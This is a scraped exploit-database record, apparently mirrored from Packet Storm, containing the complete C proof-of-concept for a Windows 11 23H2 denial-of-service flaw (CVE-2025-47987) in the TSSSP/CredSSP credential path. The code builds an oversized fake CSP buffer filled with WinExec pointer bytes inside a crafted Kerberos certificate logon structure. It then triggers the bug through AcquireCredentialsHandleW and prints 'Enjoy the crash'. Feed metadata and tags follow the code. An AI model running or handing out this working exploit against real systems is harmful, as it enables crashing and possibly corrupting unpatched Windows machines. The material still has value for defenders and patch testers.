{“lastseen”:”2026-05-05T22:00:05″,”description”:”Microsoft Windows 11 23H2 suffers from a denial of service vulnerability…”,”published”:”2026-05-05T00:00:00″,”modified”:”2026-05-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Microsoft Windows 11 23H2 Denial of Service”,”source”:””,”references”:””,”id”:”PACKETSTORM:220388″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-47987″],”sourceData”:”# Exploit Title: Windows 11 23H2 – Denial of Service (DoS)\\n # Google Dork: N\/A\\n # Date: 2025-08-22\\n # Exploit Author: Kryptoenix\\n # Vendor Homepage: https:\/\/www.microsoft.com\/\\n # Software Link: https:\/\/www.microsoft.com\/en-us\/software-download\/windows11\\n # Version: Windows 11 23H2\\n # Tested on: Windows 11 23H2 (x64)\\n # CVE: CVE-2025-47987\\n \\n \\n \\n #define SECURITY_WIN32\\n #include \\u003cwindows.h\\u003e\\n #include \\u003csspi.h\\u003e\\n #include \\u003cstdio.h\\u003e\\n #include \\u003cstdlib.h\\u003e\\n #include \\u003cstring.h\\u003e\\n #include \\u003ccredssp.h\\u003e\\n #include \\u003cstdint.h\\u003e\\n #include \\u003cwchar.h\\u003e\\n \\n #pragma comment(lib, \\”secur32.lib\\”)\\n \\n \\n #define ALIGN_TO_8(x) (((x) + 7) \\u0026 ~((size_t)7))\\n \\n \\n int BuildKerbCertLogonBuffer(\\n const WCHAR* username,\\n const WCHAR* domain,\\n const WCHAR* password,\\n const BYTE* certBlob,\\n DWORD certBlobSize,\\n BYTE** outBuffer,\\n DWORD* outBufferSize)\\n {\\n if (!username || !domain || !password || !certBlob || !outBuffer || !outBufferSize) return -1;\\n \\n uint64_t usernameLen = (uint64_t)(wcslen(username) * sizeof(WCHAR));\\n uint64_t domainLen = (uint64_t)(wcslen(domain) * sizeof(WCHAR));\\n uint64_t passwordLen = (uint64_t)(wcslen(password) * sizeof(WCHAR));\\n \\n size_t offsetUser = 0x48; \/\/ header is fixed 0x48 bytes\\n size_t offsetPassword = offsetUser + ALIGN_TO_8(usernameLen);\\n size_t offsetDomain = offsetPassword + ALIGN_TO_8(passwordLen);\\n size_t offsetCert = offsetDomain + ALIGN_TO_8(domainLen);\\n \\n size_t totalSize = offsetCert + ALIGN_TO_8(certBlobSize);\\n \\n BYTE* buf = (BYTE*)malloc(totalSize);\\n if (!buf) return -1;\\n memset(buf, 0, totalSize);\\n \\n \/\/ 0x00: type\\n *(uint64_t*)(buf + 0x00) = 13ULL;\\n \\n \/\/ username entry\\n *(uint64_t*)(buf + 0x08) = usernameLen;\\n *(uint64_t*)(buf + 0x10) = (uint64_t)offsetUser;\\n \\n \/\/ password entry\\n *(uint64_t*)(buf + 0x18) = passwordLen;\\n *(uint64_t*)(buf + 0x20) = (uint64_t)offsetPassword;\\n \\n \/\/ domain entry\\n *(uint64_t*)(buf + 0x28) = domainLen;\\n *(uint64_t*)(buf + 0x30) = (uint64_t)offsetDomain;\\n \\n \/\/ cert offset\/size\\n *(uint32_t*)(buf + 0x38) = (uint32_t)0x1337; \/\/ :)\\n *(uint32_t*)(buf + 0x3C) = (uint32_t)certBlobSize;\\n *(uint32_t*)(buf + 0x40) = (uint32_t)offsetCert;\\n \\n \/\/ payload copies\\n memcpy(buf + offsetUser, username, usernameLen);\\n memcpy(buf + offsetPassword, password, passwordLen);\\n memcpy(buf + offsetDomain, domain, domainLen);\\n memcpy(buf + offsetCert, certBlob, certBlobSize);\\n \\n printf(\\”\\\\nHeader of packed buffer (first 64 bytes):\\\\n\\”);\\n for (size_t i = 0; i \\u003c (totalSize \\u003c 64 ? totalSize : 64); ++i) {\\n printf(\\”%02x \\”, buf[i]);\\n if ((i \\u0026 0x7) == 0x7) printf(\\”\\\\n\\”);\\n }\\n printf(\\”\\\\n\\”);\\n \\n \\n *outBuffer = buf;\\n *outBufferSize = (DWORD)totalSize;\\n return 0;\\n }\\n \\n BYTE* BuildFakeCspData(\\n const char* str, \\n size_t strLen,\\n DWORD providerValue, \/\/ stored at header[5]\\n DWORD* outSize) \\n {\\n if (!str) return NULL;\\n \\n size_t lenChars = strLen + 1; \\n size_t stringBytes = lenChars; \\n \\n size_t headerBytes = 44; \/\/ 40-byte base + one DWORD offset\\n size_t totalBytes = headerBytes + stringBytes;\\n if (totalBytes \\u003c 0x30) totalBytes = 0x30;\\n \\n BYTE* buffer = (BYTE*)malloc(totalBytes);\\n if (!buffer) return NULL;\\n memset(buffer, 0, totalBytes);\\n \\n \/\/ header[5] = providerValue\\n ((DWORD*)buffer)[5] = providerValue;\\n \\n \/\/ header[6] = offset for string (in bytes from start of data area)\\n ((DWORD*)buffer)[6] = 0;\\n \\n \/\/ copy the string into the data area\\n BYTE* stringArea = buffer + headerBytes;\\n memcpy(stringArea, str, lenChars); \\n \\n printf(\\”Header of CSP buffer (first 44 bytes):\\\\n\\”);\\n for (size_t i = 0; i \\u003c headerBytes; ++i) {\\n printf(\\”%02x \\”, buffer[i]);\\n if ((i \\u0026 0x7) == 0x7) printf(\\”\\\\n\\”);\\n }\\n printf(\\”\\\\n\\\\n\\”);\\n \\n \\n if (outSize)\\n *outSize = (DWORD)totalBytes;\\n \\n return buffer;\\n }\\n \\n \\n unsigned char* ptrToBytes(void* ptr, size_t* outLen) {\\n size_t len = sizeof(void*); \/\/ 8 bytes \\n unsigned char* buf = (unsigned char*)malloc(len);\\n if (!buf) return NULL;\\n memcpy(buf, \\u0026ptr, len); \/\/ copy pointer value into buffer\\n if (outLen) *outLen = len;\\n return buf;\\n }\\n \\n unsigned char* BuildStringPattern(const unsigned char* pattern, size_t patLen, size_t repeatCount) {\\n size_t totalLen = patLen * repeatCount;\\n unsigned char* buf = (unsigned char*)malloc(totalLen);\\n if (!buf) return NULL;\\n \\n \/\/ add padding for pointer allignment\\n memset(buf, 0, 4);\\n \\n unsigned char* p = buf + 4;\\n for (size_t i = 0; i \\u003c repeatCount; i++) {\\n memcpy(p, pattern, patLen);\\n p += patLen;\\n }\\n return buf;\\n }\\n \\n wchar_t* BuildWideStringPattern(const wchar_t* pattern, size_t repeatCount) {\\n if (!pattern || repeatCount == 0) return NULL;\\n \\n size_t patLen = wcslen(pattern); \\n size_t totalLen = (patLen * repeatCount) + 1; \\n \\n wchar_t* buf = (wchar_t*)malloc(totalLen * sizeof(wchar_t));\\n if (!buf) return NULL;\\n \\n wchar_t* p = buf;\\n \\n \/\/ copy pattern repeatedly\\n for (size_t i = 0; i \\u003c repeatCount; i++) {\\n wmemcpy(p, pattern, patLen);\\n p += patLen;\\n }\\n \\n *p = L’\\\\0′;\\n \\n return buf;\\n }\\n int main(void)\\n {\\n size_t addrLen;\\n unsigned char* addrBytes = ptrToBytes((void*)WinExec, \\u0026addrLen);\\n if (!addrBytes) {\\n fprintf(stderr, \\”Failed to allocate address bytes.\\\\n\\”);\\n return 1;\\n }\\n \\n \\n size_t repeatCount = 0x1FFFFFE0; \/\/ 0xFFFFFF00 = 8 * 0x1FFFFFE0\\n unsigned char* hugeStr = BuildStringPattern(addrBytes, addrLen, repeatCount);\\n if (!hugeStr) {\\n fprintf(stderr, \\”Failed to allocate huge buffer.\\\\n\\”);\\n free(addrBytes);\\n return 1;\\n }\\n \\n DWORD fakeSize;\\n printf(\\”Building fake CSP buffer…\\\\n\\\\n\\”);\\n BYTE* fakeCsp = BuildFakeCspData((const char *)hugeStr, 0xFFFFFF00, 0x18, \\u0026fakeSize);\\n \\n if (!fakeCsp) {\\n wprintf(L\\”Allocation failed\\\\n\\”);\\n return 1;\\n }\\n \\n wprintf(L\\”Built fake CSPDATA size=0x%X\\\\n\\\\n\\”, fakeSize);\\n \/\/getchar();\\n \\n SECURITY_STATUS status;\\n CredHandle credHandle;\\n TimeStamp expiry;\\n \\n const WCHAR* username = L\\”exampleusername\\”;\\n const WCHAR* domain = L\\”exampledomain\\”;\\n const WCHAR* password = L\\”examplepassexamplepassexamplepassexamplepassexamplepass\\”; \\n \\n \\n BYTE* buf = NULL;\\n DWORD bufSize = 0;\\n \\n printf(\\”Building fake KerbCertLogonBuffer…\\\\n\\”);\\n if (BuildKerbCertLogonBuffer(username, domain, password, fakeCsp, fakeSize, \\u0026buf, \\u0026bufSize) != 0) {\\n printf(\\”Failed to build KerbCertLogonBuffer\\\\n\\”);\\n return 1;\\n }\\n \\n printf(\\”Trigerring the bug…\\\\n\\”);\\n status = AcquireCredentialsHandleW(\\n NULL,\\n (LPWSTR)L\\”TSSSP\\”, \/\/ pszPackage (name of the security package)\\n SECPKG_CRED_OUTBOUND, \\n NULL,\\n buf, \/\/ pAuthData (pointer to authentication data)\\n NULL,\\n NULL,\\n \\u0026credHandle,\\n \\u0026expiry\\n );\\n \\n if (status == SEC_E_OK) {\\n printf(\\”AcquireCredentialsHandle succeeded\\\\n\\”);\\n FreeCredentialsHandle(\\u0026credHandle);\\n }\\n else {\\n \\n if (status == SEC_E_INSUFFICIENT_MEMORY) {\\n printf(\\”Not enough memory to trigger the crash :(\\\\n\\”);\\n printf(\\”[-] PoC failed!\\\\n\\”);\\n }\\n else if (status == SEC_E_INTERNAL_ERROR) {\\n printf(\\”\\\\n[+] PoC succeded! Enjoy the crash \\u003e:D\\\\n\\”);\\n }\\n else {\\n printf(\\”AcquireCredentialsHandle failed! Error: 0x%x\\\\n\\”,status);\\n printf(\\”[-] PoC failed!\\\\n\\”);\\n }\\n }\\n \\n if (buf) free(buf);\\n if(hugeStr) free(hugeStr);\\n if(fakeCsp) free(fakeCsp);\\n return 0;\\n }”,”sourceHref”:”https:\/\/packetstorm.news\/download\/220388″,”cvss”:{“score”:7.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/220388\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-05T22:00:05″,”description”:”Microsoft Windows 11 23H2 suffers from a denial of service vulnerability…”,”published”:”2026-05-05T00:00:00″,”modified”:”2026-05-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Microsoft Windows 11 23H2 Denial of Service”,”source”:””,”references”:””,”id”:”PACKETSTORM:220388″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-47987″],”sourceData”:”# Exploit Title: Windows 11 23H2 – Denial…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,15,13,53,7,11,5],"class_list":["post-51611","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n